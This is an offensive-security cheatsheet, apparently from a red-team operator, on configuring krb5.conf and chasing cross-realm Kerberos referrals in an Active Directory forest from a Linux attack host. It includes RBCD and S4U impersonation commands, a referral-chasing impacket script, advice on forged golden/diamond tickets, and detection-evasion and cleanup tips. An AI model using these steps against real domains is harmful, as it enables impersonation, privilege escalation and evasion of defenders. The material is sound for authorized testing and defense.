Skip to content

krb5.conf Realm Config & Cross-Realm TGT Referral on Linux β€” Cheatsheet

Purpose: Configure the native MIT krb5 client on a domain-joined Linux attack box so impacket/certipy/bloodyAD correctly resolve realms, find the right KDCs, and chase cross-realm (child↔parent↔sibling) TGS referrals in a multi-domain forest β€” and recognize when a failure is config vs a policy block.

Prereqs / context: Operator works from <ATTACKER_HOST> (<ATTACKER_HOST>$, keytab /etc/krb5.keytab), Linux-first, Kerberos-only (ccaches via KRB5CCNAME). Target is a forest with a root domain <PARENT> and several sibling child domains (<CHILD1>, <CHILD2>, …) β€” each child is its own realm with its own KDCs. All commands are single-line (paste-safe). Realms are written UPPERCASE FQDN; domains lowercase.


1. Baseline /etc/krb5.conf β€” libdefaults knobs that matter

# /etc/krb5.conf  β€” the knobs below prevent the SPN-mismatch / wrong-KDC failures that waste hours
[libdefaults]
    default_realm = <CHILD1>                 # UPPERCASE FQDN of the realm you authenticate FROM (e.g. CHILD1.CORP.LOCAL)
    dns_lookup_kdc = true                     # find KDCs via _kerberos._tcp SRV records (turn off + pin kdc= when DNS is hostile)
    dns_lookup_realm = false                  # don't trust DNS to map host then realm; we define [domain_realm] explicitly
    dns_canonicalize_hostname = false         # do NOT let the resolver rewrite the SPN host then avoids "wrong" cifs/<canonical> SPNs
    rdns = false                              # never reverse-resolve IP then name for the SPN (PTR records lie then KDC_ERR_S_PRINCIPAL_UNKNOWN)
    udp_preference_limit = 1                  # force TCP; big PACs (forest group memberships) fragment over UDP and silently fail
    ticket_lifetime = 10h
    renew_lifetime = 7d
    forwardable = true                        # needed for S4U2proxy / delegation chains
    canonicalize = true                       # let AD return name_canonicalize referrals (normal for cross-realm)

Why these four (dns_canonicalize_hostname=false, rdns=false, dns_lookup_realm=false, udp_preference_limit=1) are non-negotiable: AD service tickets are bound to the exact SPN string. Any client-side canonicalization or PTR rewrite produces an SPN the KDC has never heard of β†’ KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database), which looks like a target problem but is your resolver.


2. [realms] β€” one stanza per domain, with explicit KDCs

[realms]
    <PARENT> = {                              # forest root realm, e.g. CORP.LOCAL
        kdc = <DC_FQDN>                       # a writable root DC (FQDN, resolvable). add several for resilience
        kdc = <DC_FQDN>
        admin_server = <DC_FQDN>
    }
    <CHILD1> = {                              # e.g. CHILD1.CORP.LOCAL
        kdc = <DC_FQDN>
        kdc = <DC_FQDN>
    }
    <CHILD2> = {                              # sibling child, separate KDCs
        kdc = <DC_FQDN>
    }
# Verify what SRV-based discovery would pick (when dns_lookup_kdc=true) before hardcoding kdc= lines
nslookup -type=SRV _kerberos._tcp.dc._msdcs.<DOMAIN>          # lists each domain's KDCs; cross-check against your kdc= entries
# Pin KDCs by /etc/hosts when DNS is unreliable but you know the IPs (single line each)
getent hosts <DC_FQDN>                                        # confirm FQDN then IP resolves to the DC you intend to hit

If dns_lookup_kdc=false, every realm you touch (including the forest root for referral chasing) must have explicit kdc= lines or you get Cannot find KDC for realm.


3. [domain_realm] β€” map DNS suffixes AND stray hosts to realms

[domain_realm]
    .<DOMAIN_PARENT> = <PARENT>               # .corp.local then CORP.LOCAL  (leading dot = suffix match)
    <DOMAIN_PARENT>  = <PARENT>               # corp.local then CORP.LOCAL  (the apex itself)
    .<DOMAIN_CHILD1> = <CHILD1>               # .child1.corp.local then CHILD1.CORP.LOCAL
    <DOMAIN_CHILD1>  = <CHILD1>
    .<DOMAIN_CHILD2> = <CHILD2>
    <DOMAIN_CHILD2>  = <CHILD2>
    # CRITICAL: a host whose DNS suffix does NOT match its Kerberos realm (very common in AD: a box in zone
    # corp.local that is actually joined to CHILD1). Without this line the client targets the wrong KDC.
    <TARGET>.<DOMAIN_PARENT> = <CHILD1>
# Find the right-hand side: which realm does a target host actually live in? Ask AD, not DNS.
bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr distinguishedName    # DC=... tail = the realm

This stanza is why host/<TARGET_FQDN> / cifs/<TARGET_FQDN> SPNs resolve to the correct KDC. Get it wrong and impacket sends the TGS-REQ to the wrong realm's KDC β†’ KDC_ERR_WRONG_REALM(Reserved for future use).


4. [capaths] β€” the trust path for cross-realm referral chasing

In a forest, sibling child β†’ sibling child transits the forest root. MIT krb5 will not infer this; you must spell out the chain or referral chasing for sibling domains fails.

[capaths]
    # Read each block as: "to reach the realm on the LEFT, from a realm on the RIGHT, hop through ..."
    <CHILD1> = {
        <CHILD2> = <PARENT>                   # CHILD1 then CHILD2 goes via the forest root PARENT
        <PARENT> = .                          # CHILD1 then PARENT is a DIRECT trust ( . = no intermediate )
    }
    <CHILD2> = {
        <CHILD1> = <PARENT>                   # and the reverse, also via root
        <PARENT> = .
    }
    <PARENT> = {
        <CHILD1> = .                          # root then each child is direct
        <CHILD2> = .
    }
# Sanity-check the chain end to end: from your default_realm, request a service ticket in a sibling child.
KRB5_TRACE=/dev/stdout kvno cifs/<TARGET>.<DOMAIN_CHILD2>     # trace shows each referral hop + which realm's krbtgt is used
klist -e                                                      # confirm you collected krbtgt/<CHILD2>@<PARENT> then cifs/...@<CHILD2>

Symptom of missing/wrong [capaths]: the referral dies at the first hop (KDC_ERR_WRONG_REALM, or "cannot find KDC for realm "), even though the same cifs/ ticket against your own realm works fine. A correct chain shows intermediate krbtgt/<NEXT>@<CURRENT> tickets accumulating in klist.


5. Driving cross-realm TGS referrals from the CLI

# 0) Get a TGT in your home realm (keytab is cleanest for a domain-joined box)
kinit -k '<ATTACKER_HOST>$'                                   # AS-REQ from /etc/krb5.keytab then TGT in default_realm
klist                                                         # default principal should be <ATTACKER_HOST>$@<CHILD1>
# 1) Cross-realm service ticket via the native stack (krb5 chases the referral using [capaths])
kvno cifs/<TARGET>.<DOMAIN_CHILD2>                            # ask for a service in the SIBLING realm; krb5 walks CHILD1 then PARENT then CHILD2
# 2) Drive it through a tool β€” point the tool at the FINAL service's KDC, not your home KDC
KRB5CCNAME=<USER>.ccache nxc smb <TARGET>.<DOMAIN_CHILD2> -k  # uses the referral ticket already in the ccache
# 3) certipy across realms: -target is the host whose realm you're entering; -dc-ip must be THAT realm's DC
KRB5CCNAME=<USER>.ccache certipy find -k -no-pass -target <DC_FQDN> -dc-ip <DC_IP> -stdout   # DC_IP = sibling realm's DC
# Swap krb5.conf per-realm without touching the system file (run several realms back-to-back)
KRB5_CONFIG=/opt/krb/<CHILD2>.krb5.conf KRB5CCNAME=<USER>.ccache getST.py -k -no-pass -spn cifs/<TARGET>.<DOMAIN_CHILD2> -dc-ip <DC_IP> <DOMAIN_CHILD2>/<USER>
# Inspect etypes + which KDC actually answered (the "Kdc Called" / skey lines tell you RC4 vs AES on the trust)
klist -e                                                      # skey DEPRECATED:arcfour-hmac on a referral ticket = RC4 inter-realm trust

6. Targeting the RIGHT KDC with -dc-ip (and why one IP isn't enough)

impacket takes a single -dc-ip and uses it for the whole exchange β€” it does not re-resolve a second KDC when AD hands back a cross-realm referral. dirkjanm's rule: "impacket can only specify one DC IP, which breaks when following referrals."

# Intra-realm: -dc-ip = the KDC of the target's realm. Pin LDAP and KDC to the SAME DC for write-then-use flows.
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<TARGET>$' '<FOOTHOLD>$'   # LDAP write on DC_A
KRB5CCNAME=<FOOTHOLD>.ccache getST.py -spn cifs/<TARGET>.<DOMAIN> -impersonate <SVC> -k -no-pass -dc-ip <DC_IP> <DOMAIN>/'<FOOTHOLD>$'  # S4U on the SAME DC_A
# Manual two-step referral chase (the impacket-single-dc-ip workaround) β€” save as referral_chase.py, run with your TGT ccache:
#!/usr/bin/env python3
# referral_chase.py β€” split the cross-realm TGS across two KDCs that impacket's one -dc-ip can't span
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants

CHILD_KDC = '<DC_IP>'      # KDC of YOUR realm (issues the referral TGT)
ROOT_KDC  = '<DC_IP>'      # KDC of the NEXT realm in the chain (forest root, then re-chase for siblings)

cc = CCache.loadFile('<USER>.ccache')
TGT = cc.credentials[0].toTGT()                      # NB: toTGT() returns a dict, not a tuple
tgt, cipher, sk = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']

# Step 1: ask your KDC for krbtgt/<NEXT_REALM>, returns a referral TGT
ref = Principal('krbtgt/<PARENT>', type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, c2, _, nk = getKerberosTGS(ref, '<DOMAIN_CHILD1>', CHILD_KDC, tgt, cipher, sk)

# Step 2: present the referral TGT to the next realm's KDC for the real service
svc = Principal('cifs/<TARGET>.<DOMAIN_PARENT>', type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs2, c3, _, nk3 = getKerberosTGS(svc, '<PARENT>', ROOT_KDC, tgs, c2, nk)

out = CCache(); out.fromTGS(tgs2, nk3, nk3); out.saveFile('referral.ccache')   # KRB5CCNAME=referral.ccache for the next tool

For sibling-to-sibling, run Step 1 twice (CHILD1→PARENT, then PARENT→CHILD2). Or just install the right [capaths] and let the native kvno/klist stack chase it, then hand the resulting ccache to impacket with -k -no-pass (impacket happily uses a referral ticket it didn't fetch).


What Went Wrong

  • KDC policy rejects request / KDC_ERR_POLICY on a cross-realm host β€” this is a POLICY block, not krb5.conf. A cross-realm user (<USER>@<CHILD2>) could obtain the service ticket against a host in <CHILD1> β€” kvno HTTP/<TARGET>.<DOMAIN_CHILD1> returned kvno = 14, AES256, ticket cached β€” but the actual WinRM auth failed: Minor (...): KDC policy rejects request. The automation/AWX controllers sit behind an Authentication Policy Silo (AllowedToAuthenticateTo) that refuses cross-realm principals. Your referral config is correct (you got the ticket); the estate is enforcing tiering at the KDC. Don't burn time editing krb5.conf β€” pivot (we got in via a soft SCCM-managed node instead). Tell: kvno succeeds but the connect dies with KDC_ERR_POLICY.

  • KDC_ERR_WRONG_REALM(Reserved for future use) cross-realm. Three independent causes we hit: (1) a stale referral ticket left in the ccache (krbtgt/<CHILD1>@<PARENT> for an old principal) that impacket picked over the fresh one β€” wipe the ccache; (2) -dc-ip passed a hostname instead of an IP; (3) a DC name mismatch (the FQDN in the request didn't match the DC actually answering). Also surfaced during certipy find CA-config over CSRA/RRP against sibling-domain CAs (-target <DC_FQDN> in another realm) β€” fixed by correct [domain_realm] + [capaths] so the RPC service ticket is requested in the right realm.

  • KRB_AP_ERR_MODIFIED(Message stream modified) after a referral succeeds. The cross-realm trust is RC4 β€” the referral ticket came back with skey: DEPRECATED:arcfour-hmac (visible in klist -e). Native Windows handles RC4 trusts fine, but impacket's use of the RC4 inter-realm session key fails integrity validation against a hardened target service. Confirm with klist -e; if the session key is RC4, prefer a path that avoids the cross-realm hop entirely (e.g. write msDS-KeyCredentialLink on the target via LDAP and PKINIT directly into the target realm β€” no referral). Note: KRB_AP_ERR_MODIFIED is an integrity/decrypt failure, not an authorization denial β€” a policy refusal would be KDC_ERR_POLICY/BADOPTION, not "message stream modified."

  • BADOPTION from replication lag (not a config error). We wrote an RBCD ACE on <DC_FQDN> (DC_A) then ran the S4U against a different DC of the same domain (DC_B) before it replicated β€” its KDC hadn't seen the trustee yet. Fix: pin the same DC for the LDAP write and the S4U with matching --host/-dc-ip, or wait for convergence. Always check which DC each tool is hitting before blaming delegation.

  • KDC_ERR_S_PRINCIPAL_UNKNOWN / KDC_ERR_C_PRINCIPAL_UNKNOWN. Server-unknown was our rdns/canonicalization rewriting the SPN host β€” rdns=false, dns_canonicalize_hostname=false fixed it. Client-unknown was an unqualified principal: bare Administrator failed; Administrator@<DOMAIN> (fully realm-qualified) succeeded. Always realm-qualify the impersonated/cross-realm principal.

  • Forged tickets die on cross-realm referral (0x520 on Windows / purge). A golden/diamond TGT with no valid PAC_REQUESTOR (type 18) is accepted intra-realm (the child KDC re-signs with the krbtgt key you hold) but rejected during the referral TGS-REQ by KB5020009-patched KDCs. krb5.conf can't fix this β€” it's PAC content. Use a diamond ticket that preserves the KDC-issued PAC_REQUESTOR/PAC_ATTRIBUTES, or sidestep cross-realm via shadow-cred β†’ PKINIT directly into the target realm.


Detection / OPSEC

  • Cross-realm TGS-REQs are logged on the referring and target KDCs (4769, with the krbtgt/<NEXT_REALM> service name and the requesting realm) β€” a Linux box pulling tickets across multiple child realms in seconds is anomalous. Prefer fetching only the tickets you need; reuse the ccache.
  • KRB5_TRACE=/dev/stdout is local-only (stderr of your tool) β€” safe for debugging, leaks nothing to the wire.
  • udp_preference_limit=1 pushes everything to TCP/88 β€” quieter than fragmented UDP and avoids retries that double your 4768/4769 footprint.
  • KDC_ERR_POLICY hits against silo-protected hosts generate failed-auth telemetry on the target; don't hammer an automation controller once you've seen the policy block β€” it's a tripwire.

Cleanup

  • Per-realm ccaches accumulate fast: klist -l to list, then remove the working ccaches you created (e.g. referral.ccache, <USER>.ccache, <FOOTHOLD>.ccache). kdestroy -A clears all collections.
  • If you edited /etc/krb5.conf, restore the original (keep a .bak); prefer per-run KRB5_CONFIG=/opt/krb/<REALM>.krb5.conf so the system file stays clean and there's nothing to revert.
  • Any msDS-KeyCredentialLink / RBCD / SPN writes used to avoid the cross-realm hop are separate artifacts β€” track and revert them in your write log.

References

  • MIT Kerberos β€” krb5.conf reference ([libdefaults], [realms], [domain_realm], [capaths]): https://web.mit.edu/kerberos/krb5-latest/doc/admin/conf_files/krb5_conf.html
  • MIT Kerberos β€” capaths / transit path configuration: https://web.mit.edu/kerberos/krb5-latest/doc/admin/realm_config.html
  • dirkjanm β€” Active Directory forest trusts part 2 (referral chasing, impacket single-dc-ip limitation): https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/
  • The Hacker Recipes β€” Kerberos (referrals, S4U, cross-domain): https://www.thehacker.recipes/ad/movement/kerberos/
  • Impacket (getST/getTGT/ticketer, -dc-ip, -k -no-pass): https://github.com/fortra/impacket
  • Microsoft β€” Authentication Policies and Authentication Policy Silos (the KDC_ERR_POLICY cross-realm block): https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts
  • MS KB5020009 β€” PAC_REQUESTOR enforcement on cross-realm referral: https://support.microsoft.com/en-us/topic/kb5020009